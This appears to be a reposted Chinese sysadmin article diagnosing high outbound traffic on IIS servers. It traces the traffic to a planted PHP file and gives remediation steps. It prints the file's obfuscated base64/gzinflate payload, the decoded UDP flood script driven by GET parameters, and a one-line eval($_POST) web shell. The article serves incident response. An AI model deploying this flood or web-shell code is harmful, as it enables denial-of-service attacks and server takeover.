近段时间服务器上经常出现流出的流量达到百分之八九十左右,很是让人恼火。
对于服务器流量流出100%排查流程及方法:
症状:流出流量偶尔达到98%左右、并持续一段时间。停止iis或停掉80端口后就恢复正常。iis启动之后就又
达到98%左右。
原因:有的网站中存在一个xxx.php文件,文件中有一段加密的代码:代码如下:
<?php eval(gzinflate(base64_decode
('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4
cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0U
MS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nF
BpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh
1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxf
mI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2
JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a
85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5
F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKo
xFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGL
Vowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));
解密后如下:
<?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . "
mB) packets averaging ".
round($packets/$exec_time, 2) . " packets/s /n";
?>
<?php eval($_POST[ddos])?>
访问后会产生类似以下格式的日志和错误日志:
访问日志:2010-08-11 11:36:07 W3SVC156 GET /help.php ip=www.XXXXXXX.com&port=80&time=80
183.20.215.161 - www.AAAAAAA.com 200 527 522
错误日志:
2010-08-12 11:38:04 121.101.212.186 49640 219.136.252.155 80 HTTP/1.1 GET /pic/osa.php?
ip=204.188.212.244&port=80&time=1000 503 598 Disabled AppPool+#11
解决方法:
1、用NetLimiter 2 Pro 查出是由那个进程id 造成流出的流量比较高,再用procexp.exe进程查看工具,查
找出是那个进程池。然后禁掉这个进程池,重启iis之后恢复正常。然后新建一个进程池并对禁掉的进程池里
的站点进行分池,一步一步找到问题站点。
2、直接看错误日志,如果有和以上格式相同的错误日志和访问日志的话,就查找一下访问路径XXX.php 并进
行和以上代码进行对比,如果相同就是此站点影响。并将站点关闭,单独放进程池,并关闭进程池。
3、研究上边一段解密后的代码,查找到相应的函数gzinflate()fsockopen()或并禁止掉。或做相应的防护措施防止此段代码运行。
本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。